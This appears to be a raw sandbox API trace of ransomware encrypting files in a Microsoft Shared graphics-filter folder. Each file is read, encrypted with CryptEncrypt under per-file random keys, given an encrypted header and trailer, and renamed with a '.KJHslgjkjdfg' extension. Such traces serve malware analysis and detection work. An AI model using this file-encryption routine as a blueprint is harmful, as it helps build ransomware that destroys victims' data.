[0162.708] GetProcessHeap () returned 0x990000 [0162.708] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0162.708] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0162.708] CryptDestroyKey (hKey=0x9b6628) returned 1 [0162.708] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0162.708] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0162.709] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0162.709] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0162.709] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0162.709] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0162.773] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0162.775] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0162.775] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.775] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x93f6e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x93f6e, lpOverlapped=0x0) returned 1 [0163.156] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x93f70, dwBufLen=0x93f70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x93f70) returned 1 [0163.162] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.162] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x93f70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x93f70, lpOverlapped=0x0) returned 1 [0163.165] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.165] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x94044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.165] SetEndOfFile (hFile=0xf0) returned 1 [0163.168] GetProcessHeap () returned 0x990000 [0163.168] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0163.168] GetProcessHeap () returned 0x990000 [0163.168] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0163.168] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FNT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.fnt.kjhslgjkjdfg")) returned 1 [0163.170] CloseHandle (hObject=0xf0) returned 1 [0163.170] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0163.170] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.170] GetProcessHeap () returned 0x990000 [0163.170] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0163.170] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0163.170] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0163.170] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.170] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.170] GetProcessHeap () returned 0x990000 [0163.170] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0163.171] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0163.171] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.171] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0163.182] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0163.183] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0163.183] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0163.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0163.183] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0163.183] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.183] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.183] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xadf90, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xadf90, lpOverlapped=0x0) returned 1 [0163.194] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xadf90, dwBufLen=0xadf90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xadf90) returned 1 [0163.202] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.202] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xadf90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xadf90, lpOverlapped=0x0) returned 1 [0163.204] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.204] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xae064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.204] SetEndOfFile (hFile=0xf0) returned 1 [0163.208] GetProcessHeap () returned 0x990000 [0163.208] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0163.208] GetProcessHeap () returned 0x990000 [0163.208] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0163.208] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\EPSIMP32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\epsimp32.flt.kjhslgjkjdfg")) returned 1 [0163.218] CloseHandle (hObject=0xf0) returned 1 [0163.218] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0163.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.222] GetProcessHeap () returned 0x990000 [0163.222] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0163.222] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0163.222] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0163.222] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.222] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.222] GetProcessHeap () returned 0x990000 [0163.222] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0163.222] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0163.222] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.222] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0163.226] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0163.226] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0163.226] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0163.226] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0163.226] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0163.226] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.227] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.227] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.227] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4e380, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4e380, lpOverlapped=0x0) returned 1 [0163.233] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4e380, dwBufLen=0x4e380 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4e380) returned 1 [0163.237] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.237] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4e380, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4e380, lpOverlapped=0x0) returned 1 [0163.238] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.238] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4e454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.238] SetEndOfFile (hFile=0xf0) returned 1 [0163.241] GetProcessHeap () returned 0x990000 [0163.241] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0163.242] GetProcessHeap () returned 0x990000 [0163.242] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0163.242] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.kjhslgjkjdfg")) returned 1 [0163.248] CloseHandle (hObject=0xf0) returned 1 [0163.248] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0163.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.249] GetProcessHeap () returned 0x990000 [0163.249] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0163.249] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0163.250] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0163.250] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.250] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.250] GetProcessHeap () returned 0x990000 [0163.250] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0163.250] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0163.250] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.250] WriteFile (in: hFile=0xf0, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0163.252] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0163.252] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0163.252] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0163.252] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0163.252] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0163.253] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.253] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.253] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.253] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3ad80, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3ad80, lpOverlapped=0x0) returned 1 [0163.256] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ad80, dwBufLen=0x3ad80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ad80) returned 1 [0163.275] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.275] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3ad80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3ad80, lpOverlapped=0x0) returned 1 [0163.276] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.276] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3ae54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.276] SetEndOfFile (hFile=0xf0) returned 1 [0163.281] GetProcessHeap () returned 0x990000 [0163.281] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0163.281] GetProcessHeap () returned 0x990000 [0163.281] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0163.281] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.kjhslgjkjdfg")) returned 1 [0163.284] CloseHandle (hObject=0xf0) returned 1 [0163.285] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0163.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.307] GetProcessHeap () returned 0x990000 [0163.307] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0163.307] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0163.307] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0163.308] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0163.311] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.311] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.311] GetProcessHeap () returned 0x990000 [0163.311] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0163.311] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0163.311] CryptDestroyKey (hKey=0x9b6628) returned 1 [0163.311] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0163.311] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0163.311] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0163.312] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0163.312] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0163.312] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0163.312] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0163.312] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0163.312] 